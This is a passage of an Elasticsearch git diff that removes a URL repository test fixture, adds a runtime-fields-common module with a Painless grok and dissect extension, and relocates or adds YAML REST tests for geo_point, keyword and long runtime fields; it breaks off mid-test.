repositoryDirectory + " does not exist"); - } - final URLFixture fixture = new URLFixture(Integer.parseInt(args[0]), workingDirectory, repositoryDirectory); - fixture.listen(InetAddress.getByName("0.0.0.0"), false); - } - - @Override - protected AbstractHttpFixture.Response handle(final Request request) throws IOException { - if ("GET".equalsIgnoreCase(request.getMethod())) { - String path = request.getPath(); - if (path.length() > 0 && path.charAt(0) == '/') { - path = path.substring(1); - } - - Path normalizedRepositoryDir = repositoryDir.normalize(); - Path normalizedPath = normalizedRepositoryDir.resolve(path).normalize(); - - if (normalizedPath.startsWith(normalizedRepositoryDir)) { - if (Files.exists(normalizedPath) && Files.isReadable(normalizedPath) && Files.isRegularFile(normalizedPath)) { - byte[] content = Files.readAllBytes(normalizedPath); - final Map headers = new HashMap<>(contentType("application/octet-stream")); - headers.put("Content-Length", String.valueOf(content.length)); - return new Response(RestStatus.OK.getStatus(), headers, content); - } else { - return new Response(RestStatus.NOT_FOUND.getStatus(), TEXT_PLAIN_CONTENT_TYPE, EMPTY_BYTE); - } - } else { - return new Response(RestStatus.FORBIDDEN.getStatus(), TEXT_PLAIN_CONTENT_TYPE, EMPTY_BYTE); - } - } - return null; - } - - @SuppressForbidden(reason = "Paths#get is fine - we don't have environment here") - private static Path dir(final String dir) { - return Paths.get(dir); - } -} diff --git a/modules/repository-url/src/test/java/org/elasticsearch/repositories/url/URLRepositoryTests.java b/modules/repository-url/src/test/java/org/elasticsearch/repositories/url/URLRepositoryTests.java index c9929c5b81370..6b5d453d5f0b1 100644 --- a/modules/repository-url/src/test/java/org/elasticsearch/repositories/url/URLRepositoryTests.java +++ b/modules/repository-url/src/test/java/org/elasticsearch/repositories/url/URLRepositoryTests.java @@ -9,6 +9,7 @@ package org.elasticsearch.repositories.url; import org.elasticsearch.cluster.metadata.RepositoryMetadata; +import org.elasticsearch.common.blobstore.url.http.URLHttpClient; import org.elasticsearch.common.settings.ClusterSettings; import org.elasticsearch.common.settings.Settings; import org.elasticsearch.common.util.MockBigArrays; @@ -27,6 +28,7 @@ import static org.hamcrest.CoreMatchers.is; import static org.hamcrest.CoreMatchers.not; import static org.hamcrest.CoreMatchers.nullValue; +import static org.mockito.Mockito.mock; public class URLRepositoryTests extends ESTestCase { @@ -34,7 +36,8 @@ private URLRepository createRepository(Settings baseSettings, RepositoryMetadata return new URLRepository(repositoryMetadata, TestEnvironment.newEnvironment(baseSettings), new NamedXContentRegistry(Collections.emptyList()), BlobStoreTestUtil.mockClusterService(), MockBigArrays.NON_RECYCLING_INSTANCE, - new RecoverySettings(baseSettings, new ClusterSettings(baseSettings, ClusterSettings.BUILT_IN_CLUSTER_SETTINGS))) { + new RecoverySettings(baseSettings, new ClusterSettings(baseSettings, ClusterSettings.BUILT_IN_CLUSTER_SETTINGS)), + mock(URLHttpClient.Factory.class)) { @Override protected void assertSnapshotOrGenericThread() { // eliminate thread name check as we create repo manually on test/main threads diff --git a/modules/runtime-fields-common/build.gradle b/modules/runtime-fields-common/build.gradle new file mode 100644 index 0000000000000..83c4e7410a4c1 --- /dev/null +++ b/modules/runtime-fields-common/build.gradle @@ -0,0 +1,26 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +apply plugin: 'elasticsearch.validate-rest-spec' +apply plugin: 'elasticsearch.yaml-rest-test' +apply plugin: 'elasticsearch.yaml-rest-compat-test' + +esplugin { + description 'Module for runtime fields features and extensions that have large dependencies' + classname 'org.elasticsearch.runtimefields.RuntimeFieldsCommonPlugin' + extendedPlugins = ['lang-painless'] +} + +dependencies { + compileOnly project(':modules:lang-painless:spi') + api project(':libs:elasticsearch-grok') + api project(':libs:elasticsearch-dissect') +} + +//this plugin is here only for the painless extension, there are no unit tests +tasks.named("testingConventions").configure { enabled = false } diff --git a/x-pack/plugin/runtime-fields/src/main/java/org/elasticsearch/xpack/runtimefields/mapper/NamedGroupExtractor.java b/modules/runtime-fields-common/src/main/java/org/elasticsearch/runtimefields/NamedGroupExtractor.java similarity index 95% rename from x-pack/plugin/runtime-fields/src/main/java/org/elasticsearch/xpack/runtimefields/mapper/NamedGroupExtractor.java rename to modules/runtime-fields-common/src/main/java/org/elasticsearch/runtimefields/NamedGroupExtractor.java index 844eb4cb4e752..ff08684e23f41 100644 --- a/x-pack/plugin/runtime-fields/src/main/java/org/elasticsearch/xpack/runtimefields/mapper/NamedGroupExtractor.java +++ b/modules/runtime-fields-common/src/main/java/org/elasticsearch/runtimefields/NamedGroupExtractor.java @@ -1,11 +1,12 @@ /* * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. */ -package org.elasticsearch.xpack.runtimefields.mapper; +package org.elasticsearch.runtimefields; import org.apache.lucene.util.SetOnce; import org.elasticsearch.common.unit.TimeValue; diff --git a/modules/runtime-fields-common/src/main/java/org/elasticsearch/runtimefields/RuntimeFieldsCommonPlugin.java b/modules/runtime-fields-common/src/main/java/org/elasticsearch/runtimefields/RuntimeFieldsCommonPlugin.java new file mode 100644 index 0000000000000..9ab833e7f8c52 --- /dev/null +++ b/modules/runtime-fields-common/src/main/java/org/elasticsearch/runtimefields/RuntimeFieldsCommonPlugin.java @@ -0,0 +1,84 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.runtimefields; + +import org.elasticsearch.client.Client; +import org.elasticsearch.cluster.metadata.IndexNameExpressionResolver; +import org.elasticsearch.cluster.service.ClusterService; +import org.elasticsearch.common.io.stream.NamedWriteableRegistry; +import org.elasticsearch.common.settings.Setting; +import org.elasticsearch.common.settings.Settings; +import org.elasticsearch.common.unit.TimeValue; +import org.elasticsearch.common.xcontent.NamedXContentRegistry; +import org.elasticsearch.env.Environment; +import org.elasticsearch.env.NodeEnvironment; +import org.elasticsearch.plugins.Plugin; +import org.elasticsearch.repositories.RepositoriesService; +import org.elasticsearch.script.ScriptService; +import org.elasticsearch.threadpool.ThreadPool; +import org.elasticsearch.watcher.ResourceWatcherService; + +import java.util.Collection; +import java.util.List; +import java.util.function.Supplier; + +/** + * The plugin class for all the runtime fields common functionality that requires large dependencies. + * This plugin sets up the environment for the grok function to work in painless as part of the different + * runtime fields contexts. + */ +public final class RuntimeFieldsCommonPlugin extends Plugin { + + static final Setting GROK_WATCHDOG_INTERVAL = Setting.timeSetting( + "runtime_fields.grok.watchdog.interval", + TimeValue.timeValueSeconds(1), + Setting.Property.NodeScope + ); + static final Setting GROK_WATCHDOG_MAX_EXECUTION_TIME = Setting.timeSetting( + "runtime_fields.grok.watchdog.max_execution_time", + TimeValue.timeValueSeconds(1), + Setting.Property.NodeScope + ); + + private final NamedGroupExtractor.GrokHelper grokHelper; + + public RuntimeFieldsCommonPlugin(Settings settings) { + grokHelper = new NamedGroupExtractor.GrokHelper( + GROK_WATCHDOG_INTERVAL.get(settings), + GROK_WATCHDOG_MAX_EXECUTION_TIME.get(settings) + ); + } + + @Override + public List> getSettings() { + return List.of(GROK_WATCHDOG_INTERVAL, GROK_WATCHDOG_MAX_EXECUTION_TIME); + } + + @Override + public Collection createComponents( + Client client, + ClusterService clusterService, + ThreadPool threadPool, + ResourceWatcherService resourceWatcherService, + ScriptService scriptService, + NamedXContentRegistry xContentRegistry, + Environment environment, + NodeEnvironment nodeEnvironment, + NamedWriteableRegistry namedWriteableRegistry, + IndexNameExpressionResolver indexNameExpressionResolver, + Supplier repositoriesServiceSupplier + ) { + grokHelper.finishInitializing(threadPool); + return List.of(); + } + + public NamedGroupExtractor.GrokHelper grokHelper() { + return grokHelper; + } +} diff --git a/modules/runtime-fields-common/src/main/java/org/elasticsearch/runtimefields/RuntimeFieldsPainlessExtension.java b/modules/runtime-fields-common/src/main/java/org/elasticsearch/runtimefields/RuntimeFieldsPainlessExtension.java new file mode 100644 index 0000000000000..87839af5434c0 --- /dev/null +++ b/modules/runtime-fields-common/src/main/java/org/elasticsearch/runtimefields/RuntimeFieldsPainlessExtension.java @@ -0,0 +1,60 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.runtimefields; + +import org.elasticsearch.painless.spi.PainlessExtension; +import org.elasticsearch.painless.spi.Whitelist; +import org.elasticsearch.painless.spi.WhitelistInstanceBinding; +import org.elasticsearch.painless.spi.WhitelistLoader; +import org.elasticsearch.painless.spi.annotation.CompileTimeOnlyAnnotation; +import org.elasticsearch.script.AbstractFieldScript; +import org.elasticsearch.script.ScriptContext; +import org.elasticsearch.script.ScriptModule; + +import java.util.Collections; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +/** + * The painless extension that adds the necessary whitelist for grok and dissect to all the existing runtime fields contexts. + */ +public class RuntimeFieldsPainlessExtension implements PainlessExtension { + private final List whitelists; + + public RuntimeFieldsPainlessExtension(RuntimeFieldsCommonPlugin plugin) { + Whitelist commonWhitelist = WhitelistLoader.loadFromResourceFiles(RuntimeFieldsPainlessExtension.class, "common_whitelist.txt"); + Whitelist grokWhitelist = new Whitelist( + commonWhitelist.classLoader, + List.of(), + List.of(), + List.of(), + List.of( + new WhitelistInstanceBinding( + AbstractFieldScript.class.getCanonicalName(), + plugin.grokHelper(), + "grok", + NamedGroupExtractor.class.getName(), + List.of(String.class.getName()), + List.of(CompileTimeOnlyAnnotation.INSTANCE) + ) + ) + ); + this.whitelists = List.of(commonWhitelist, grokWhitelist); + } + + @Override + public Map, List> getContextWhitelists() { + Map, List> whiteLists = new HashMap<>(); + for (ScriptContext scriptContext : ScriptModule.RUNTIME_FIELDS_CONTEXTS) { + whiteLists.put(scriptContext, whitelists); + } + return Collections.unmodifiableMap(whiteLists); + } +} diff --git a/modules/runtime-fields-common/src/main/resources/META-INF/services/org.elasticsearch.painless.spi.PainlessExtension b/modules/runtime-fields-common/src/main/resources/META-INF/services/org.elasticsearch.painless.spi.PainlessExtension new file mode 100644 index 0000000000000..ef98c7019a0cf --- /dev/null +++ b/modules/runtime-fields-common/src/main/resources/META-INF/services/org.elasticsearch.painless.spi.PainlessExtension @@ -0,0 +1 @@ +org.elasticsearch.runtimefields.RuntimeFieldsPainlessExtension diff --git a/modules/runtime-fields-common/src/main/resources/org/elasticsearch/runtimefields/common_whitelist.txt b/modules/runtime-fields-common/src/main/resources/org/elasticsearch/runtimefields/common_whitelist.txt new file mode 100644 index 0000000000000..264f1b611098c --- /dev/null +++ b/modules/runtime-fields-common/src/main/resources/org/elasticsearch/runtimefields/common_whitelist.txt @@ -0,0 +1,16 @@ +# +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0 and the Server Side Public License, v 1; you may not use this file except +# in compliance with, at your election, the Elastic License 2.0 or the Server +# Side Public License, v 1. +# + +class org.elasticsearch.runtimefields.NamedGroupExtractor @no_import { + Map extract(String); +} + +static_import { + org.elasticsearch.runtimefields.NamedGroupExtractor dissect(String) from_class org.elasticsearch.runtimefields.NamedGroupExtractor @compile_time_only + org.elasticsearch.runtimefields.NamedGroupExtractor dissect(String, String) from_class org.elasticsearch.runtimefields.NamedGroupExtractor @compile_time_only +} diff --git a/modules/runtime-fields-common/src/yamlRestTest/java/org/elasticsearch/painless/RuntimeFieldsClientYamlTestSuiteIT.java b/modules/runtime-fields-common/src/yamlRestTest/java/org/elasticsearch/painless/RuntimeFieldsClientYamlTestSuiteIT.java new file mode 100644 index 0000000000000..9e2761136d4b1 --- /dev/null +++ b/modules/runtime-fields-common/src/yamlRestTest/java/org/elasticsearch/painless/RuntimeFieldsClientYamlTestSuiteIT.java @@ -0,0 +1,27 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.painless; + +import com.carrotsearch.randomizedtesting.annotations.Name; +import com.carrotsearch.randomizedtesting.annotations.ParametersFactory; +import org.elasticsearch.test.rest.yaml.ClientYamlTestCandidate; +import org.elasticsearch.test.rest.yaml.ESClientYamlSuiteTestCase; + +/** Runs yaml rest tests */ +public class RuntimeFieldsClientYamlTestSuiteIT extends ESClientYamlSuiteTestCase { + + public RuntimeFieldsClientYamlTestSuiteIT(@Name("yaml") ClientYamlTestCandidate testCandidate) { + super(testCandidate); + } + + @ParametersFactory + public static Iterable parameters() throws Exception { + return ESClientYamlSuiteTestCase.createParameters(); + } +} diff --git a/x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/100_geo_point.yml b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/100_geo_point.yml similarity index 100% rename from x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/100_geo_point.yml rename to modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/100_geo_point.yml diff --git a/x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/101_geo_point_from_source.yml b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/101_geo_point_from_source.yml similarity index 100% rename from x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/101_geo_point_from_source.yml rename to modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/101_geo_point_from_source.yml diff --git a/x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/102_geo_point_source_in_query.yml b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/102_geo_point_source_in_query.yml similarity index 100% rename from x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/102_geo_point_source_in_query.yml rename to modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/102_geo_point_source_in_query.yml diff --git a/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/103_geo_point_calculated_at_index.yml b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/103_geo_point_calculated_at_index.yml new file mode 100644 index 0000000000000..d47c0200b9e25 --- /dev/null +++ b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/103_geo_point_calculated_at_index.yml @@ -0,0 +1,206 @@ +--- +setup: + - do: + indices.create: + index: locations + body: + settings: + number_of_shards: 1 + number_of_replicas: 0 + mappings: + properties: + location_from_doc_value: + type: geo_point + script: + source: | + emit(doc["location"].lat, doc["location"].lon); + location_from_source: + type: geo_point + script: + source: | + emit(params._source.location.lat, params._source.location.lon); + timestamp: + type: date + location: + type: geo_point + - do: + bulk: + index: locations + refresh: true + body: | + {"index":{}} + {"timestamp": "1998-04-30T14:30:17-05:00", "location" : {"lat": 13.5, "lon" : 34.89}} + {"index":{}} + {"timestamp": "1998-04-30T14:30:53-05:00", "location" : {"lat": -7.9, "lon" : 120.78}} + {"index":{}} + {"timestamp": "1998-04-30T14:31:12-05:00", "location" : {"lat": 45.78, "lon" : -173.45}} + {"index":{}} + {"timestamp": "1998-04-30T14:31:19-05:00", "location" : {"lat": 32.45, "lon" : 45.6}} + {"index":{}} + {"timestamp": "1998-04-30T14:31:22-05:00", "location" : {"lat": -63.24, "lon" : 31.0}} + {"index":{}} + {"timestamp": "1998-04-30T14:31:27-05:00", "location" : {"lat": 0.0, "lon" : 0.0}} + + +--- +"get mapping": + - do: + indices.get_mapping: + index: locations + - match: {locations.mappings.properties.location_from_source.type: geo_point } + - match: + locations.mappings.properties.location_from_source.script.source: | + emit(params._source.location.lat, params._source.location.lon); + - match: {locations.mappings.properties.location_from_source.script.lang: painless } + +--- +"fetch fields from source": + - do: + search: + index: locations + body: + sort: timestamp + fields: [location, location_from_doc_value, location_from_source] + - match: {hits.total.value: 6} + - match: {hits.hits.0.fields.location.0.type: "Point" } + - match: {hits.hits.0.fields.location.0.coordinates: [34.89, 13.5] } + # calculated from scripts adds annoying extra precision + - match: { hits.hits.0.fields.location_from_doc_value.0.type: "Point" } + - match: { hits.hits.0.fields.location_from_doc_value.0.coordinates: [ 34.889999935403466, 13.499999991618097 ] } + - match: { hits.hits.0.fields.location_from_source.0.type: "Point" } + - match: { hits.hits.0.fields.location_from_source.0.coordinates: [ 34.889999935403466, 13.499999991618097 ] } + +--- +"exists query": + - do: + search: + index: locations + body: + query: + exists: + field: location_from_source + - match: {hits.total.value: 6} + +--- +"geo bounding box query": + - do: + search: + index: locations + body: + query: + geo_bounding_box: + location_from_source: + top_left: + lat: 10 + lon: -10 + bottom_right: + lat: -10 + lon: 10 + - match: {hits.total.value: 1} + +--- +"geo shape query": + - do: + search: + index: locations + body: + query: + geo_shape: + location_from_source: + shape: + type: "envelope" + coordinates: [ [ -10, 10 ], [ 10, -10 ] ] + - match: {hits.total.value: 1} + +--- +"geo distance query": + - do: + search: + index: locations + body: + query: + geo_distance: + distance: "2000km" + location_from_source: + lat: 0 + lon: 0 + - match: {hits.total.value: 1} + +--- +"bounds agg": + - do: + search: + index: locations + body: + aggs: + bounds: + geo_bounds: + field: "location" + wrap_longitude: false + bounds_from_doc_value: + geo_bounds: + field: "location_from_doc_value" + wrap_longitude: false + bounds_from_source: + geo_bounds: + field: "location_from_source" + wrap_longitude: false + - match: {hits.total.value: 6} + - match: {aggregations.bounds.bounds.top_left.lat: 45.7799999602139 } + - match: {aggregations.bounds.bounds.top_left.lon: -173.4500000718981 } + - match: {aggregations.bounds.bounds.bottom_right.lat: -63.240000014193356 } + - match: {aggregations.bounds.bounds.bottom_right.lon: 120.77999993227422 } + - match: {aggregations.bounds_from_doc_value.bounds.top_left.lat: 45.7799999602139 } + - match: {aggregations.bounds_from_doc_value.bounds.top_left.lon: -173.4500000718981 } + - match: {aggregations.bounds_from_doc_value.bounds.bottom_right.lat: -63.240000014193356 } + - match: {aggregations.bounds_from_doc_value.bounds.bottom_right.lon: 120.77999993227422 } + - match: {aggregations.bounds_from_source.bounds.top_left.lat: 45.7799999602139 } + - match: {aggregations.bounds_from_source.bounds.top_left.lon: -173.4500000718981 } + - match: {aggregations.bounds_from_source.bounds.bottom_right.lat: -63.240000014193356 } + - match: {aggregations.bounds_from_source.bounds.bottom_right.lon: 120.77999993227422 } + +--- +"geo_distance sort": + - do: + search: + index: locations + body: + sort: + _geo_distance: + location_from_source: + lat: 0.0 + lon: 0.0 + - match: {hits.total.value: 6} + - match: {hits.hits.0._source.location.lat: 0.0 } + - match: {hits.hits.0._source.location.lon: 0.0 } + - match: {hits.hits.1._source.location.lat: 13.5 } + - match: {hits.hits.1._source.location.lon: 34.89 } + - match: {hits.hits.2._source.location.lat: 32.45 } + - match: {hits.hits.2._source.location.lon: 45.6 } + - match: {hits.hits.3._source.location.lat: -63.24 } + - match: {hits.hits.3._source.location.lon: 31.0 } + +--- +"distance_feature query": + - do: + search: + index: locations + body: + query: + bool: + should: + distance_feature: + field: "location" + pivot: "1000km" + origin: [0.0, 0.0] + + - match: {hits.total.value: 6} + - match: {hits.hits.0._source.location.lat: 0.0 } + - match: {hits.hits.0._source.location.lon: 0.0 } + - match: {hits.hits.1._source.location.lat: 13.5 } + - match: {hits.hits.1._source.location.lon: 34.89 } + - match: {hits.hits.2._source.location.lat: 32.45 } + - match: {hits.hits.2._source.location.lon: 45.6 } + - match: {hits.hits.3._source.location.lat: -63.24 } + - match: {hits.hits.3._source.location.lon: 31.0 } + diff --git a/x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/10_keyword.yml b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/10_keyword.yml similarity index 100% rename from x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/10_keyword.yml rename to modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/10_keyword.yml diff --git a/x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/11_keyword_from_source.yml b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/11_keyword_from_source.yml similarity index 100% rename from x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/11_keyword_from_source.yml rename to modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/11_keyword_from_source.yml diff --git a/x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/12_keyword_source_in_query.yml b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/12_keyword_source_in_query.yml similarity index 100% rename from x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/12_keyword_source_in_query.yml rename to modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/12_keyword_source_in_query.yml diff --git a/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/13_keyword_calculated_at_index.yml b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/13_keyword_calculated_at_index.yml new file mode 100644 index 0000000000000..1c10a017a5c33 --- /dev/null +++ b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/13_keyword_calculated_at_index.yml @@ -0,0 +1,173 @@ +--- +setup: + - do: + indices.create: + index: sensor + body: + settings: + number_of_shards: 1 + number_of_replicas: 0 + mappings: + properties: + timestamp: + type: date + temperature: + type: long + voltage: + type: double + node: + type: keyword + store: true + day_of_week: + type: keyword + script: | + emit(doc['timestamp'].value.dayOfWeekEnum.getDisplayName(TextStyle.FULL, Locale.ROOT)); + # Test fetching from _source + day_of_week_from_source: + type: keyword + script: | + Instant instant = Instant.ofEpochMilli(params._source.timestamp); + ZonedDateTime dt = ZonedDateTime.ofInstant(instant, ZoneId.of("UTC")); + emit(dt.dayOfWeek.getDisplayName(TextStyle.FULL, Locale.ROOT)); + # Test fetching many values + day_of_week_letters: + type: keyword + script: | + for (String dow: doc['day_of_week']) { + for (int i = 0; i < dow.length(); i++) { + emit(dow.charAt(i).toString()); + } + } + prefixed_node: + type: keyword + script: + source: | + for (String node : params._fields.node.values) { + emit(params.prefix + node); + } + params: + prefix: node_ + + - do: + bulk: + index: sensor + refresh: true + body: | + {"index":{}} + {"timestamp": 1516729294000, "temperature": 200, "voltage": 5.2, "node": "a"} + {"index":{}} + {"timestamp": 1516642894000, "temperature": 201, "voltage": 5.8, "node": "b"} + {"index":{}} + {"timestamp": 1516556494000, "temperature": 202, "voltage": 5.1, "node": "a"} + {"index":{}} + {"timestamp": 1516470094000, "temperature": 198, "voltage": 5.6, "node": "b"} + {"index":{}} + {"timestamp": 1516383694000, "temperature": 200, "voltage": 4.2, "node": "c"} + {"index":{}} + {"timestamp": 1516297294000, "temperature": 202, "voltage": 4.0, "node": "c"} + +--- +"get mapping": + - do: + indices.get_mapping: + index: sensor + - match: {sensor.mappings.properties.day_of_week.type: keyword } + - match: + sensor.mappings.properties.day_of_week.script.source: | + emit(doc['timestamp'].value.dayOfWeekEnum.getDisplayName(TextStyle.FULL, Locale.ROOT)); + - match: {sensor.mappings.properties.day_of_week.script.lang: painless } + +--- +"fetch fields": + - do: + search: + index: sensor + body: + sort: timestamp + fields: [day_of_week, day_of_week_from_source, day_of_week_letters, prefixed_node] + - match: {hits.total.value: 6} + - match: {hits.hits.0.fields.day_of_week: [Thursday] } + - match: {hits.hits.0.fields.day_of_week_from_source: [Thursday] } + - match: {hits.hits.0.fields.day_of_week_letters: [T, h, u, r, s, d, a, y] } + - match: {hits.hits.0.fields.prefixed_node: [node_c] } + +--- +"docvalue_fields": + - do: + search: + index: sensor + body: + sort: timestamp + docvalue_fields: [day_of_week, day_of_week_from_source, day_of_week_letters, prefixed_node] + - match: {hits.total.value: 6} + - match: {hits.hits.0.fields.day_of_week: [Thursday] } + - match: {hits.hits.0.fields.day_of_week_from_source: [Thursday] } + - match: {hits.hits.0.fields.day_of_week_letters: [T, a, d, h, r, s, u, y] } + - match: {hits.hits.0.fields.prefixed_node: [node_c] } + +--- +"terms agg": + - do: + search: + index: sensor + body: + size: 0 + aggs: + dow: + terms: + field: day_of_week + - match: {hits.total.value: 6} + - match: {aggregations.dow.buckets.0.key: Friday} + - match: {aggregations.dow.buckets.0.doc_count: 1} + - match: {aggregations.dow.buckets.1.key: Monday} + - match: {aggregations.dow.buckets.1.doc_count: 1} + +--- +"term query": + - do: + search: + index: sensor + body: + query: + term: + day_of_week: Monday + - match: {hits.total.value: 1} + - match: {hits.hits.0._source.voltage: 5.8} + +--- +"highlight term query": + - do: + search: + index: sensor + body: + query: + term: + day_of_week: Monday + highlight: + fields: + day_of_week: {} + + - match: { hits.hits.0.highlight.day_of_week : [ "Monday" ] } + +--- +"match query": + - do: + search: + index: sensor + body: + query: + match: + day_of_week: Monday + - match: {hits.total.value: 1} + - match: {hits.hits.0._source.voltage: 5.8} + + - do: + search: + index: sensor + body: + query: + match: + day_of_week: + query: Monday + analyzer: standard + - match: {hits.total.value: 0} diff --git a/x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/150_nested_runtime_fields.yml b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/150_nested_runtime_fields.yml similarity index 100% rename from x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/150_nested_runtime_fields.yml rename to modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/150_nested_runtime_fields.yml diff --git a/x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/20_long.yml b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/20_long.yml similarity index 100% rename from x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/20_long.yml rename to modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/20_long.yml diff --git a/x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/21_long_from_source.yml b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/21_long_from_source.yml similarity index 100% rename from x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/21_long_from_source.yml rename to modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/21_long_from_source.yml diff --git a/x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/22_long_source_in_query.yml b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/22_long_source_in_query.yml similarity index 100% rename from x-pack/plugin/src/test/resources/rest-api-spec/test/runtime_fields/22_long_source_in_query.yml rename to modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/22_long_source_in_query.yml diff --git a/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/23_long_calculated_at_index.yml b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/23_long_calculated_at_index.yml new file mode 100644 index 0000000000000..a6eff621344c1 --- /dev/null +++ b/modules/runtime-fields-common/src/yamlRestTest/resources/rest-api-spec/test/runtime_fields/23_long_calculated_at_index.yml @@ -0,0 +1,152 @@ +--- +setup: + - do: + indices.create: + index: sensor + body: + settings: + number_of_shards: 1 + number_of_replicas: 0 + mappings: + properties: + timestamp: + type: date + temperature: + type: long + voltage: + type: double + node: + type: keyword + voltage_times_ten: + type: long + script: + source: | + for (double v : doc['voltage']) { + emit((long)(v * params.multiplier)); + } + params: + multiplier: 10 + voltage_times_ten_no_dv: + type: long + doc_values: false + script: + source: | + for (double v : doc['voltage']) { + emit((long)(v * params.multiplier)); + } + params: + multiplier: 10 + # test multiple values + temperature_digits: + type: long + script: + source: | + for (long temperature : doc['temperature']) { + long t = temperature; + while (t != 0) { + emit(t % 10); + t /= 10; + } + } + + - do: + bulk: + index: sensor + refresh: true + body: | + {"index":{}} + {"timestamp": 1516729294000, "temperature": 200, "voltage": 5.2, "node": "a"} + {"index":{}} + {"timestamp": 1516642894000, "temperature": 201, "voltage": 5.8, "node": "b"} + {"index":{}} + {"timestamp": 1516556494000, "temperature": 202, "voltage": 5.1, "node": "a"} + {"index":{}} + {"timestamp": 1516470094000, "temperature": 198, "voltage": 5.6, "node": "b"} + {"index":{}} + {"timestamp": 1516383694000, "temperature": 200, "voltage": 4.2, "node": "c"} + {"index":{}} + {"timestamp": 1516297294000, "temperature": 202, "voltage": 4.0, "node": "c"} + +--- +"get mapping": + - do: + indices.get_mapping: + index: sensor + - match: {sensor.mappings.properties.voltage_times_ten.type: long } + - match: + sensor.mappings.properties.voltage_times_ten.script.source: | + for (double v : doc['voltage']) { + emit((long)(v * params.multiplier)); + } + - match: {sensor.mappings.properties.voltage_times_ten.script.params: {multiplier: 10} } + - match: {sensor.mappings.properties.voltage_times_ten.script.lang: painless } + +--- +"fetch fields": + - do: + search: + index: sensor + body: + sort: timestamp + fields: + - voltage_times_ten + - voltage_times_ten_no_dv + - temperature_digits + - match: {hits.total.value: 6} + - match: {hits.hits.0.fields.voltage_times_ten: [40] } + - match: {hits.hits.0.fields.temperature_digits: [2, 0, 